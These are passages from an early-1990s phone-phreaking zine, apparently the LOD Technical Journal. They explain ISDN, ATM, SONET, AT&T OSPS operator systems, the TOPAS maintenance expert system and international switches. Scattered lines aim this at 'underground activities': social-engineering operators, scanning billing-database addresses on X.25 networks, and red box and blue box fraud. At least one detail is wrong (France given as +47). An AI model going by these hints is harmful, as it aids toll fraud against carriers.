64 kbps and the D channel is 64 kbps for the +PRI and 16 kbps for the BRI. To plan for future increases 384 kbps has been +allotted to the H0 channel, 1336 kbps to the H11 channel and 1920 kbps to the +H12 channel. + +Integration +----------- +ISDN will have one format, so various devices won't need their own dedicated +lines. One common interface will accommodate all applications. By having one +set of wires and protocols users won't need to bother with coaxial cables for +television, X.25 protocols for packet switched networks (PSNs), telex lines, +various leased lines etc. + +Misconceptions +-------------- +ISDN itself isn't going to provide anything. It is just the standard for +network interface. Anything new will depend upon the services offered on it. +The concept of digital switching is not a new one to begin with. Its been in +use since the mid 60's. The real "upheaval" with ISDN is that Ma Bell is no +longer going to provide just telephone calls but a whole range of services. +This list of services along with speed requirements and channel type was +taken from the IEEE. + +Service Speed Required Channel +------- -------------- ------- +Voice 8,16,32,64 kbps B +Alarms 10-100 bps D + Smoke + Fire + Police + Medical +Utility metering 0.1-1 kbps D +Energy Management 0.1-1 kbps D +Interactive information 4.8-64 kbps B + Electronic banking + Electronic yellow pages + Opinion polling +High quality audio ~300-700 kbps +Slow scan TV 56-64 kbps B +Compressed video ~30 Mbps +Compressed video conf. ~1.5 Mbps +Broadcast video ~100 Mbps +Switched video ~100 Mbps +Interactive video ~100 Mbps +Facsimile graphics 4.8-64 kbps B + +CCS +--- +Another vital part of ISDN is Common Channel Signalling (CCS). Which +separates signalling information from user data. Rather than being an older +form of in-band signalling where signals and data are on the same channel it +is out of band, where signals travel on different channels. This allows more +services and reduces circuit connection times. ISDN uses SS no.7 (SS7). The +initial version SS6 used analog trunks of 2400 bps, SS7 uses digital trunks +of 56/64 kbps. +Well, you've most likely asking yourself what this all means for our +underground activities. It will create a bonanza of new services and +opportunities all unified in one network. Just as data and voice +communications are merging so to will hacking, phreaking, cable fraud etc. +Because ISDN has yet to be implemented on a mass scale in North America its +not possible to say specifically how it may be abused. You should still be +prepared for its arrival by understanding its design and purpose though. + +Many supplementary services have been approved for ISDN by the CCITT and more +are being approved right now: + +Number Identification Services: +- Direct Dialing In (DDI) +- Multiple Subscriber Number (MSN) - Allows different numbers to ring at one + number. +- Calling Line Identification Presentation (CLIP) - (ANI) +- Calling Line Identification Restriction (CLIR) - blocks out an incoming + ISDN number. +- Connected Line Identification Presentation (CLOP) +- Connected Line Identification Restriction (COLR) +- Malicious Call Identification and Sub-Addressing (not yet defined by the + CCITT). + +Call Offering Services: +- Call Transfer - Lets a call be transferred to a third party. +- Call Forwarding Busy (CFB) +- Call Forwarding No Reply (CFNR) +- Call Forwarding Unconditional (CFU) +- Call Deflection + +Misc. Services: +- Private Numbering Plan +- Advice of Charge - Allows the caller to find out the cost of a call before, + during or after. +- Credit Card Calling and Reverse Charging +- User-to-User Signalling (UUS) + +These supplementary services take advantage of SS7's full range of +capabilites. + +ISDN Trials +----------- +Since ISDN provides the "digital pipe" and the subscriber selects services; +the network, circuits, trunks and customer premises equipment (CPE) are all +being tested. Most of the early ISDN trials were quite basic and were +intended only to prove the validity of ISDN concepts. The current status of +ISDN is with more complex testing and actual implementations.

With BISDN +everything from alarm monitoring to live action video broadcasts can be +handled. BISDN is designed to use optical transmissions and compress its data +up to 15 times by using more sophisticated terminal equipment. Thus BISDN can +handle video images which require refreshing 30 times a second and would +require transfer rates of 100 Mbps with no compression. Because of its +complexity BISDN will likely end up in commercial applications in the near +future. + +Transfer Modes +-------------- +In the design of BISDN standards either the synchronous transfer mode (STM) +or the asynchronous transfer mode (ATM) can be used. STM is the POTS way +using time division multiplexing. Synchronous multiplexing uses a clock to +assign windows for information to be transmitted, regardless of wether +transmission takes place at all. Asynchronous multiplexing does without a +clock to keep transmissions in place. ATM is virtually the same as this, with +faster routines. In ATM windows for transmission are opened when needed and +are not arbitrarily assigned. Information indicating the source is in each +header. ATM is the more common method being CCITT approved. STM is still +being debated as the use of highly accurate atomic clocks will ease +multiplexing digital bit streams coming from multiple locations. + +ATM +=-- + +Is a method of cell oriented switching and multiplexing giving high-speed, +low error transmissions. Which combines the efficiency of packet technology +with the reliability of circuit switching. It is made up of fixed, 53 +character cells. Every cell has 48 characters and a 5 character header to +keep track of its source. Incoming data is broken up into smaller uniform +cells by ATM equipment, transmitted and reassembled upon reception. + +Since processing fixed sized cells is such a basic task, ATM is much faster +at packet switching than say X.25 is. Giving ATM the ability to deal with +such demanding applications as real-time video. ATM switches and transmits +all forms of communications - voice, data, narrow and broadband, continuous +and two-way dialogue traffic, in this uniform fashion. ATM transmits its data +over a "virtual channel" when in connectionless mode. A virtual channel is +the channel that connects points on the ATM network. A virtual connection +moves a set of virtual channels with the same path identifier over the +network. It has a cell header that consists of a virtual path and virtual +channel identifier. To allow private networks, crossconnects or virtual path +switches create a permanent link or virtual path between both ends of the +network. Virtual path switches don't need signalling as ATM switches do. + +The adoption of a global ATM network will be at the earliest in 1995. Trials +with ATM are already underway. The move toward BISDN will require the +development of both this ATM network and crossconnects. + +SONET +=--=- + +The Synchronous Optical Network (SONET) is the ANSI standard for the +transmission of ATM frames on optical fiber networks. SONET vastly increases +potential transmission rates. It far surpasses today's DS3 speed and has an +OC-1 bandwith of 51.84 Mb/s. OC-48 is 2.5 Gb/s, the commercial version will +be much slower at OC-3 or 155 Mb/s. + +In addition to providing greater data transfer rates it is a far more +intelligent network, transmitting control directives in its synchronous +stream. The subscriber's data is contained in the payload and the control +directives in the overhead. Overhead is made up of its section, line and path +components. Users can manipulate the network with messages placed in +overhead. The section overhead covers frame and error monitoring and controls +key equipment on the transmission line such as optical regenerators. Line +overhead monitors performance. Path overhead monitors errors and controls the +signalling between different points on the SONET network. SONET's synchronous +bit streams give very reliable transmissions and multiplexing. + +SONET more or less integrates the functions of OA&M and as a result fewer +systems will be needed to perform them. What this means is fewer access ports +will be available to dial into. + +SONET (and for that matter ISDN, BISDN, SS7 and ATM) are more complicated and +have a lot more to them than what's been presented here. Look for specialized +files on them and what they can do for you in upcoming journals. + +Service Net-2000 +=--=--=--=--=--= + +Service Net-2000 is designed to use the capabilites of the 5ESS Switch to +provide a better public switched telephone network (PSTN). Improvements that +are required by the advent of more technically demanding services such as +HDTV, high speed data transmissions, speech recognition etc. These services +require faster and faster communications and higher bandwiths. Service +Net-2000, is designed to provide higher capacity switching and data networks +using SONET technology. The goal being to provide an effective universal +information service (UIS). In this Service Net-2000 is a kind of "follow up" +to ISDN. + +Architecture +------------ +SS7 is at the heard of this intelligent network. It provides 64 kb/s voice +transmissions and 1.54 mb/s (T1) data transmissions, when over fiber optic or +other high bandwith lines. + +The need for Service Net-2000 is high, once you consider the oncoming rush of +optical transmissions measured in rates of gigabits/second. Nodes in Service +Net-2000 are also "intelligent" being "self-aware", adapting to net changes, +making corrections and self improving. + +The main goal to Service Net-2000 architecture is to provide unification. It +combines basic functions such as switching, routing etc. with data +transmissions just as ISDN does. The end result being a decentralized CO +throughout the system. As individual functions disappear and are replaced by +this integrated system. + +Service Node +------------ +This integration is performed by the service node. Based on the 5ESS-2000 +system (note that 5ESS is now 5ESS-2000 when used with Service Net-2000 and +broadband network services-2000 (BNS2000)) + +The "2000" group that forms this is based on SONET. Using flexible mapping +and frame switching rates at multiples of 51.84 mb/s are supported. The +"2000" group consists of the: + +- Digital data multiplexer (DDM-2000) +- Digital access and cross-connect systems IV-2000 (DACS IV-2000) +- DACS III-2000 cross connect system +- DACScan-2000 controllers +- DACScan-2000 workstation +- FT-2000 lightware + +The DACS IV-2000 is able to carry higher speed virtual tributary (VT) +channels and not just today's, slower asynchronous ones. Both DACS IV-2000 +and DACS III-2000 can support non-SONET hookups too, making them quite +versatile. The DACS III-2000 differs from the IV-2000 in offering the +DS3/Synchronous Transmission Signal-1 (STS-1) + +5ESS-2000 +--------- +As I mentioned before 5ESS-2000 combines BNS-2000 with the other members of +the "2000" group. This boosts the capacity of a 5ESS-2000 Switch to 250,000 +lines on 64,000 trunks. Key to this is the improved switching module, the +SM-2000. It handles everything associated with a call and can even be used as +a stand alone remote office, in which case it's called a EXM-2000. + +To enable high-speed interfaces, 5ESS-2000 uses digital networking units +(DNUs). All a DNU is, is a combination of a 5ESS Switch with say a DACS +switch. The DNU-IV is a derivative of the DACS IV-2000 and gives additional +high speed possibilities. Due to its high operating speed it can greatly +speed up CO operations that are slowed down by older copper wirings. + +With the DNS-2000 cell switch, the broadband integrated services digital +network (BISDN) will be created. Point-to-point packet frame relays can be +provided even to those lacking T-1s. As well as offering switched +multimegabit data services (SMDS) with up to T3 capabilities. The cell switch +is made up of low speed port carriers running at 8 mb/s and high-speed +switching systems running in excess of 200 mb/s. BNS-2000 handles both frame +relays that require connections and SMDSs which don't. + +Service Net-2000 has the ability to redirect calls between different areas +effortlessly. The service control point (SCP) provides the information for +the service circuit node based on call screening options, the date/time etc. +Allowing the 5ESS-2000 switch to offer a whole range of options such as call +waiting, forwarding, blocking etc. + +Basically the idea behind Service Net-2000 is to add intelligence to the 5ESS +switching system and to drastically improve its speed and call handling +abilities. With the purpose of creating a more powerful UIS. + +Other Developments +=--=--=--=--=--=-- + +Intelligent Network (IN) +------------------------ +IN is just distributing AI throughout the network. A trend which pops up +numerous times throughout this issue of the journal with Expert Systems, +Service-Net 2000 etc. The idea behind IN is to have large and fast central +databases connected with the rest of the network with protocols such as X.25, +SS7 etc. IN allows global service to be introduced easier with good +flexibility. + +IN is comprised of service switching points (SSPs) and service control points +(SCPs). SSP takes calls and sends them to an SCP. SCPs contain the databases +themselves such as calling card verification data. + +Telecommunication Management Network (TMN) +------------------------------------------ +TMN as the name implies manages the network. TMN performs OA&M on a CCITT +standardized structure. + +Gigabit Testbeds +---------------- +Are now being implemented for experimental purposes by DARPA, NSF and others. +Several are being conducted by the Corporation for National Research +Initiatives (NRI). They involve telcos, academic, commercial and government +researchers for the future National Research and Education Network (NREN) +Internet. NREN promises a good deal of services, such as real-time +transmission of high-speed data streams, huge automated electronic libraries +and Gb/s transmission rates taking us away from ascii into full motion video. + +One experimental net is Vistanet with ATM and SONET capabilities and 622 Mb/s +speed. Another one is Aurora. Bellcore is providing an experimental Sunshine +switch and IBM a Planet Packet Transfer Mode (PTM). Unlike ATM, PTM packets +have no fixed size being as large as 2k. PTM is not a recognized standard but +may end up in commercial use, with ATM serving the network itself from the +CO. + +NT is providing a SONET Digital Multiplex System (S/DMS) that takes up to 16 +SONET inputs of 155 Mb/s and multiplexes them to 2.4 Gb/s for Casa a co- +operative venture of several organizations in California. The main component +of Casa is a high-performance parallel interface (Hippi) gateway for SONET. + +A European group called RACE (R&D in advanced communications technologies in +Europe) is designing Integrated Broadband Communications (IBC) within a +BISDN. RACE is also working on Code-Division Multiple Access (CDMA), optical +networks, teleshopping, electronic funds transfer over a ATM BISDN, mobile +network architecture and the universal mobile telecommunications system +(UMTS). + +The Future +---------- +Compared to the last century of relatively stagnant copper wiring the impact +of higher bandwiths and optical technologies will - eventually - be +monumental. All of this does however depend on the introduction of optical +fibers. Because of the narrow-band copper wires that are the last link to the +subscriber, evolution to better technology is stunted (in the US at least). +The cost of overhauling these copper wires in the US with fiber ones is on +the order of 200 billion US. In other nations however, the use of fibers +linking residential homes is more than 50%. Fiber technology is however, +constantly growing and its price dropping. + +As an aside to all this, look at what's been done in the last 10 years of +communications compared to the last 100 years. We are constantly lessening +the doubling time of communications technology. In the next 3 years we will +equal the last 10 years of progress. Soon it will drop down to a year and +then to a matter of months. Since International standards take 15 + years to +work out bureaucracy may become an impediment. + +--------------------------------------------------------------------------- +Sources +IEEE 0018-9235/93 +Telecommunications Journal April 1993 +Various books and articles on ISDN +--------------------------------------------------------------------------- + +The LOD Technical Journal: File #5 of 12 + + =/=/=/=/=/=/=/=/=/=/=/=/=/=/= + Maintenance + for DMS-100 + Written by - + -/- Unequal Access -/- + +.Introduction + +In order to maintain Northern Telecom's (NT) DMS-100 Digital Switch an +advanced menu driven man-machine interface (MMI) is used. It is comprised of +a Visual Display Unit (VDU) which is part of the Maintenance and +Administrative Position (MAP) interface. I'm going to outline how it deals +with maintenance, alarms, and administration. A quick example of how it +handles line and trunk trouble reports and the addition of a new subscriber +will be given. + +.Maintenance and Administrative Position (MAP) + +Hardware +The MAP is the primary interface between the technician and the DMS-100 +family of switches. The main hardware components of the MAP are: + +1. Visual Display Unit (VDU) - the MAP terminal +2. Alarm Panel - sends an alarm to the VDU. +3. Communications Module - (telephone) to speak with the subscriber voice +4.

For a +description of the TSPS console see The Marauder's article in the LOD +Technical Journal Number One, File Four. The main difference between the two +is that OSPS can be integrated with the 5ESS Switch itself whereas TSPS was +only stand alone. OSPS uses the full capabilites of 5ESS and ISDN to provide +more services. OSPS also allows for a high degree of automation and by using +standard 5ESS configurations, maint. is simplified. + +Remote Capabilites +-*-*-*-*-*-*-*-*-* + +By using 5ESS, OSPS takes advantage of its remote capabilites. OSPS can be +used to perform any traditional operator functions and just 1 OSPS switch can +handle up to 128 operator teams. This enables operators to be located at one +centralized location where thousands of operators work. (To picture this, +remember that MCI commercial with all the operators in that giant room) Huge +operator centres can be located at great distances from their host areas. +Conceivably, one huge OSPS centre could serve the entire nation. OSPS can +either be made a component of a 5ESS Switch and handle various services or a +single switch dealing with only toll or local calls. Control can be +transferred from one OSPS to another. If there is low demand, a system crash +or other emergency control can be passed on to another secure OSPS. This +process is called interflow. One usage is during off-peak hours, when usage +goes down for an OSPS centre to close down, and switch everything to another +center. OSPS can use any number of signalling systems, with different +languages or country specific requirements. + +Architecture +-*-*-*-*-*-* + +Operator terminals communicate with switches using ISDN paths. This is done +by connecting to positioning switch modules (PSMs). PSMs are simply the +switching modules (SMs) found on 5ESS. There are numerous other SMs that use +analog and digital trunks to perform a variety of services. SMs can be +installed remotely in which case they are remote switching modules (RSMs) or +optically remote switching modules (ORMs). + +Operator terminals allow operators to regulate calls and transfer data on a +ISDN. Basic rate interface (BRI) is an integrated services line unit (ISLU) +that connects up to the PSM. + +There are four main operator terminals - video display terminal (VDT) for +toll assistance, basic services terminal (BST) for listing services, combined +services terminal (CST) for both of these functions and intelligent +communication workstation (ICW) for International traffic assistance. Knowing +these terminals can come in handy when you are dealing with an operator, if +you can't get an answer ask to know which terminal they are looking at. + +OSPS is automated as much as possible. Digital service units (DSUs) on the +SMs provide digital automations when required such as requesting you to +insert more red box tones (uh, coins) to continue your call. + +The architecture behind OSPS is based on the call processing architecture of +5ESS, and simply copies many of its functions. To originate and terminate +OSPS the originating terminal process (OTP) and terminating terminal process +(TTP) are used. The OTP is started when a trunk is seized, usually in the +initiation of a toll call, and decides where to place the calls such as to +automated billing etc. OTP also monitors the calls as its in progress and +conducts billing. Should OTP move the call to an operator, it will label it +as one of 128 possible conditions based on the dialled number and trunk +group. TTP is started when the call goes out from the switch on outgoing +trunks to enable signalling. + +Automatic Call Distribution (ACD) +-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- + +ACD controls incoming calls to operator teams, placing them in queues if +needed and directs the call depending on its condition to the right operator. +At the OSPS centre, there are 128 teams, 1 for each condition. If there are +no available operators ACD will place the call in one for four queue +conditions. The first is ringing, the next two are announcements and the +fourth is an announcement followed by a hanging-up of the caller. The ACD +constantly has the status for every operator. The three conditions are made +busy, busy and available. Made busy is an otherwise available operator that +isn't ready to receive calls. If an operator team services more than one call +type, and if one call type is queued the call with the highest "delay ratio" +(the expected wait time) will get the next available operator. Supporting +teams, up to 8 of which back up the principle teams act as a "reserve" if the +principle ones are busy. Subject to the condition that a queue is backed up +higher than the "outflow threshold" and the supporting team doesn't have a +queue past the threshold either. The position terminal process (PTP) logs +operator status by looking at operator inputs, calls, etc. PTP will then +route the call to the operator, place it in a queue or route it to another +operator. + +PTP +-*- + +PTP has four models: + +virtual terminal (VT) - Takes keystroke inputs, checks them to see if they +are legal commands and passes them on. + +feature model (FM) - Handles the status of the operator, if an operator logs +in, it will indicate that the operator is now available. + +near model (NM) - Processes the operator inputs. + +call coordination model (CC) - Handles coordination between PTP and other +operations. For example signalling between PTP and OTP/TTP. + +Here is how AT&T describes a typical event: + +. A seizure is detected on an incoming trunk, and an OTP is created. +. Signalling information, such as dialled digits and the back number, is +collected and analyzed; the need for an operator is recognized. +. Call type is determined from the dialled digits and incoming trunk group to +classify this as an OSPS call of type 1. The ACD administrator has assigned +type 1 calls with serving team A as the principal team and serving team B as +the supporting team. +. The OTP sends a message to the ACD requesting an operator. This message +identified the call as type 1 and obtains other call information. +. The ACD determines that calls of type 1 are being queued. +. The call is queued, and the expected delay is calculated. By comparing the +expected delay with administratively specified delay thresholds, the ACD +determines whether a delay announcement should be provided to the caller. . +A message is sent to the OTP with this information. +. The OTP first connects the delay announcement, then provides audible ring +to the caller. +. At this point, an operator from serving team B becomes available, and the +call of interest has migrated to the head of call type 1 queue. The ACD +determines that no calls are waiting in any of the principal queues for team +B, and further determines that the next call in the call type 1 queue is +eligible to be intraflowed to team B. The ACD informs the OTP to send the +call to the available operator from team B by sending a message to the PTP in +the PSM. It then marks that position as busy with a call. +. The PTP, via the CC model, establishes the voice path between the caller +and the operator and sends appropriate display messages to the operator +terminal, via the VT model, to provide the initial call seizure information. +. The customer requests a collect call from the operator who depresses the +collect key and enters the number to be called. Messages are sent from the +operator terminal to the PTP to relay the information. The VT model processes +each incoming message and forwards the message to the near model. The near +model marks the call as collect and initiates the connection to the forward +party via a new CC model. This results in creation of a TTP and appropriate +interswitch signalling to ring the forward party. +. After the forward party answers, the operator secures agreement for the +collect billing and releases the call from the position via the position +release key. This keystroke is first processed by VT and passed on to the +near model. The PTP notifies the OTP of the collect billing arrangements. The +talking paths are reconfigured to eliminate the operator position. The two +parties on the call are now speaking directly without an operator on the +call. +. The operator terminal screen is cleared by VT. The FM reports its status +back to the ACD as available to handle another call. +. At the conclusion of the call, a billing record is made by the OTP. + +Automation and Efficiency +-*-*-*-*-*-*-*-*-*-*-*-*- + +OSPS is designed to be as automated as is possible. It is supposed to make as +little use of human operators as can be gotten away with. When you think +about it that's the result of OSPS - human operators are becoming less and +less needed. If it wouldn't be for all the potential uproar, they'd get rid +of all human operators entirely. They are regarded as a horribly expensive +way to handle calls. OSPS allows operators comfy little terminals and pulls +them out of situations where they are needed as soon as they aren't required. +For example after obtaining a number for collect billing, the rest of the +process - voice acceptance can be automated. + +Many services in the past that were separate are now combined under OSPS. For +example toll and directory assistance operators had to be kept available in +large numbers to handle call surges. Meaning toll assistance can be queued +up, while directory assistance has available operators. Now with CST, an +operator can handle both services. + + +Data Communications +-*-*-*-*-*-*-*-*-*- + +ISDN is used to transfer data in OSPS. External systems can also be reached +for such purposes as directory assistance information. Three layers are +involved in OSPS operator-switch exchanges: + +layer 1 - the physical layer - Gives synchronous data transmission from the +terminal to the ISLU. + +layer 2 - the link layer - Provides point-to-point exchanges between the +terminal and PSM. + +layer 3 - the packet layer - Is the layer 3 protocol of X.25. It's a resident +virtual circuit for exchanges between the terminals and the SM's processor. +Which can be used in switch virtual circuit connections to external +databases. + +Databases +-*-*-*-*- + +OSPS uses databases during most calls. To do such functions as check the +validity of calling card accounts to prevent cancelled cards from being used. +Millions of database queries take place every 24 hours. Because of the +immense size of these databases, they can't all fit in 5ESS. So external +databases are used. + +Common channel interoffice signalling (CCIS) links OSPS with external data. +To link with external computers CC7 is used. Data is returned to OSPS from +nodes on CCS such as the line info database (LIDB) or billing validation +application (BVA). These two nodes handles your Bell's validation of all +collect, third number and calling cards. + +The X.25 protocol is also used to connect OSPS with other databases. Each +database has an ISDN directory number. So one can scan out the addresses and +access them on the public PSNs. Since your RBOC doesn't want people messing +around with their BILLING databases, they are put in a closed user group +(CUG). +--------------------------------------------------------------------------- + +The LOD Technical Journal: File #7 of 12 + + (*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*) + Testing Operations Provisioning Administration System + (TOPAS) + LOD - Mystik Freak - LOD + (*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*) + + +In order to perform Operations, Administration and Maintenance (OA&M) on +switched circuit and facility networks the TOPAS operating system (OS) has +been developed. From the "core" of TOPAS the Transport Maintenance +Administration System (TMAS) was designed to assist in running the Facility +Maintenance and Administration Center (FMAC). + +As the telephone network became more and more advanced the conduction of OA&M +became increasingly difficult. What's brought about this sophistication has +been the later versions of electromechanical switching systems, ISDN etc. In +order to keep up Artificial Intelligence (AI) ideas are being used as a basis +for TOPAS-ES. TOPAS-ES is designed as an Expert System (ES) replacement for +TOPAS to handle switch circuit operations. TOPAS-ES performs this circuit +maintenance using its AI to find and report on network difficulties. + +Network Maintenance +In the current 5ESS Switch maintenance is performed by TOPAS and the remote +measurement system (RMS-D3). Under 4ESS circuit maintenance system 1 (CMS-1) +is used. The purpose of RMS-DX is to allow testing on circuits terminating on +switches. The network is monitored as the transmission passes through the +XESS Switch, the multiplexer (MUX) and the line terminating equipment (LTE). + +TOPAS and CMS-2 continually monitor the network's status and look for +deviations from normal operations and then print up trouble reports. Because +so many reported problems are transient or falsely reported as a problem, +further testing is done to determine real or "hard" problems. Through such +procedures as performing tests on one of more than a million scan points or +attempting to receive from one or two ends of the circuit. + +TOPAS uses two different machines with their own databases when processing: +Equipment Interface Tier (EIT) and the Network Support Tier (NST). + +EIT - An EIT contains a database that has physical information about a +Network Element (NE) machines. + +NST - NST's databases are not interested in NE machines or in physical +properties and instead uses mathematical models. Even radical network changes +will have only minimal effects. Thus the combination of say fiber and copper +wiring on the same circuit or the merging of voice and data communications +has no great effect. NST can handle everything from basic trunking to complex +multipoint circuits. + +Both EIT and NST use Common Languages to communicate with each other. NST +will for example query NST about specific equipment, while EIT would query +NST about network changes. Since EIT and NST are both in the TOPAS core +interactions are quite simple. + +TMAS +TMAS followed TOPAS and in its design, developers reused almost half of +TOPAS's core. Since TOPAS and TMAS speak a common language cooperation +between the two is possible. Many report procedures are identical such as the +DS-1 facility alarms. + +FMAC +TMAS is designed to run with the FMAC. By providing updated route databases, +alarm monitoring, detection of network faults etc. TMAS also helps +administrate by issuing trouble tickets, switch logs and sending out this +data to other personnel from the FMAC. + +Expert Systems (ES) +An ES is a system where the program and the knowledge used in decision making +are kept apart. The program contains a set of rules, containing what action +should be undertook depending on the situation. This is often referred to as +a "shell" that controls the activities of its host system (think of the UNIX +shell). + +ESs in Networks +The maintenance of complex networks is an ideal application for an ES. By +having the equivalent of the most capable repair mind on each switch. As all +the ESs are using a common knowledge base that has everything known about the +problem and the most effective way to solve it. Several other ESs have +predated TOPAS-ES such as ACE, NEMESYS and GTE's COMPASS. As any technical +worker will attest to, network operations are particularly troublesome as the +call carrying capacity must be maximized while trying to minimize the +congestion that results when traffic exceeds the call capacity of the +switching and transmission system. + +TOPAS-ES +TOPAS-ES, is as the name indicates, is an ES version of TOPAS. It works with +both TOPAS and CMS-1 in the 4ESS and 5ESS environment. TOPAS-ES has a UNIX +routine for each of its three subsystems - knowledge base and inference +engine, communication and systems interface and user interface. The inference +engine used in TOPAS-ES is "forward chaining" or data driven as it is guided +available data to fit prestated conditions to obtain an answer. If it used +backward chaining, it would search for data to obtain an answer. Forward +chaining is a more effective route to take when data is available and answers +to a question (using backward chaining) are unneeded or to slow. Generally, +forward chaining in network maintenance is preferred. For example, data +indicating that Joe Phreaker is blowing 2600 tones is of more use than +attempting to answer a question of "Where are all the foreign tones on the +circuit originating from?" To keep up with its immense chores of network +monitoring, testing and issuing trouble reports, gathering data and figuring +out answers TOPAS-ES runs each of its subsystems at the same time, working in +"real time" with the network. + +Distributed AI (DAI) +DAI is where multiple processes which normally act independently, co-operate +which one another. TOPAS-ES uses DAI to station one TOPAS-ES at one end of +the circuit and another on the other end or at the CO. This enables more +computing power to be levied at pinpointing the problem and makes for a +faster, more reliable system. TOPAS-ES can assume either a director or +responder mode. If TOPAS-ES is analyzing a faulty circuit it can request or +enlist another TOPAS-ES and place it in the responder mode to assist it. + +Expert System Trouble Analyzer (ESTA) +This is one of TOPAS-ES's subsystems and performs the main operations of: +trouble ticket analysis and chronic history analysis (CHA). + +Trouble ticket analysis: Since few problems reported by TOPAS-ES are genuine +ones that require attention, ESTA narrows down the hard from the transient +problems. ESTA determines this mostly by ordering TOPAS-ES to wait and +perform further monitoring. + +CHA: This exposes faults after repeated transient trouble indications. If the +problem persists for longer than X amount of time, with over Y indications of +trouble it will be labelled chronic. CHA is designed to pick up on problems +that have been passed off as transients and ignored. For example a problem +may exist during peak hours but will be passed off as a transient when +monitored during off-peak hours. + +Expert System Trouble Sectionalizer (ESTS) +Once ESTA has determined a trouble to be hard it will pass along a "trouble +ticket" indicating such information as its duration, current condition and +whether its chronic or not. + +When ESTS has been handed a hard trouble it will "sectionalize" the indicated +area on the circuit. This is done by having technicians at each end examine +points on the circuit and performing other tests. ESTS is based on the best +sectionalization techniques, being an ES. An ESTS sectionalization strategy +would work like this: 2600 tones are being heard on the network, circuits are +all in normal condition, 2600s are not in internal use and have been labelled +as unauthorized, foreign sounds so ESTS would deduce that someone is trying +to bluebox. + +ESTS has a wide list of strategies to try depending on the situation. The +most likely to succeed strategies will be attempted first and if this fails +all of its strategies will be tried in order of success probability. Once the +fault has been pinpointed the relevant repair crew/station will be notified +along with a description of the fault. + +--------------------------------------------------------------------------- + +The LOD Technical Journal: File #8 of 12 + + International Switching Systems + by Mystik Freak + LOD - LOD + + +One of the goals behind phreaking has always been to delve into the deepest +fathoms of the phone system.

So branch out internationally to seek new telephone +networks and boldly go where no phreak has gone before! + +I won't spoil the thrill of hearing new tones and discovering new things by +giving out all the juicy things you're liable to find, instead this is going +to be a broad based overview of 7 switching systems: + +Sweden - AXE 10 +France - E 12 +United Kingdom - DSS +Netherlands - PRX-D +Germany - EWS-D +Italy - PROETEO +Japan - NEAX 61 + +There are far more than just these systems out there as shown by this chart +of systems indicates: + +System Country Type +~~~~~~ ~~~~~~~ ~~~~ +AFDT1 Italy local/tandem +AXE 10 Sweden local/toll +D 1210 US local +DCO US local/toll +DMS 10 Canada/US local +DMS 100 Canada/US local/toll +DMS 200 Canada/US toll +DMS 250 US tandem +DMS 300 Canada tandem +DS 1 Japan tandem +DSC US local +DSS 1210 US local/toll/operator +DTN 1 Italy (Sudan) tandem +DTS US tandem +DTS 1 Japan toll +DTS 2 Japan local +DTS 500 Netherlands tandem +DX 100 Finland local/tandem +DX 200 Finland local +EWS-D Germany local/toll +E10 France local/tandem +E10 B France local +E10 S France local +E12 France toll +FETEX 150 Japan local +FOCUS 5 US local +GTD 5 EAX US local/toll +HDX 10 Japan local +IFS Switzerland local +ITS 4/IMA2 US toll +ITS 4/5 US local/toll +ITS 5A US local +I2000 Yugoslavia local +LCS 4/5 US local +MSU US local +MT 20/25/35 France local/toll +NEAX 61 Japan/US local/toll/operator +No. 3 EAX US toll +No. 4 ESS US toll +No. 5 ESS US local +PROTEO Italy local/toll +PRX-D Netherlands local/toll +SPC 2 India local +SX8 France local +SX 2000 Canada local +SYSTEM 12 (1210) US local/toll/operator +SYSTEM 12 (1240) Belgium/UK/Germany local +TDDSS 1/2 China tandem +TN 5 Italy tandem +TROPICO Brazil local +TSS 5 US local +UT 10/3 Italy local +UXD 5 UK local +1220/PCM-5 Belgium/France tandem + + +Sweden - AXE-10 (+46) +~~~~~~~~~~~~~~~~ + +The Swedish AXE 10, was developed by Ericsson and in addition to being found +in Sweden itself is also being used by over 30 countries. + +AXE 10 performs most of the basic functions of international switching, local +tandems and offices, national transit etc. It covers everywhere from isolated +rural areas with only a few hundred subscribers all the way up to huge +transit exchanges of a million subscribers. + +AXE 10 has 3 main susbsystems: +SSS - Subscriber and group (GSS) switching +TSS - Trunk signalling and (TCS) traffic control +CHS - Charging, OMS and Maintenance + +Other optional subsystems are: +SUS - Subscriber faciltites (OPS) operator functions +MTS - Mobile subscriber functions + +Functions that share the same purpose are allotted to one subsystem. A +function block is a group of similar functions within the subsystem. For +example the subsystem SSS has a function block called the time switch (TS). + +Hardware + +AXE 10 is a digital switching system. Interconnections between subsystems are +called "internal digital trunks". To give an example of AXE 10's hardware +consider the SSS subsystem. + +SSS is divided up into lots containing up to 2048 subscribers, up to 128 of +these subscribers will then form a line switch module (LSM). Each subscriber +has an individual line circuit (LIC) connecting them to the LSM. The LSMs +themselves are interconnected by a TS bus (TSB). Each module has a TS that +performs switching for the subscriber the TSB and a junctor terminal circuit +(JTC). + +Traffic within subsystems is handled by internal diagnostic links. If the LSM +lacks an internal digital link the call is carried by a TSB to another +module. Because SSS uses TSS and TSBs the network runs smoothly as a balance +is kept between the subscriber nodes and the internal digital links in use. + +Subscriber information can be kept either centrally or remotely. TS 16 in a +PCM is used to control a remote exchange. If the SSS is remotely located an +exchange terminal circuit (ETC) is used. The PCM will then signal between the +remote SSS and the ETC. The signalling is controlled by a signalling terminal +(ST) on the SSS and ETC ends of the circuit. + +The trunk signalling system (TSS) interfaces external signals into the AXE 10 +signalling scheme. + +One of the benefits to AXE is that any signalling scheme can be interfaced +without impacting on other subsystems. Thus AXE is highly adaptable to +network conditions. + +In cases where analogue lines are connected by either incoming trunk (IT) and +outgoing trunk (OT) circuits conversion to digital takes place. Tone +signalling is conducted by code receivers (CRD) or code senders (CSD). + +France - E 12 (+47) +~~~~~~~~~~~~~ + +CIT-Alcatel and Telic (CIT-ALCATEL) developed the E 12 system bases on the +earlier E 10 system to handle the functions of: + +- international gateway +- inter-city transit +- medium to large urban area transit +- subscriber line switching + +Capacity + +The capacity of E 12 depends on call duration, signalling etc. The maximum +capacity is currently 1536 digital PCM systems of the 30 + 2 type equalling +over 40,000 circuits. Processing up to 110 calls a second. + +Architecture +E 12 is based on the architecture of its predecessor - E 10B. The three main +components are: + +- subscriber and circuit connection units +- the central switching system and common control +- computerized supervisory and maintenance centre (CTI) + +The CTI is the second control level supervises several exchanges and handles: + +- line circuit management +- traffic load data logging +- maintenance and alarms +- billing + +Three subassemblies allow speech transmission. The TST 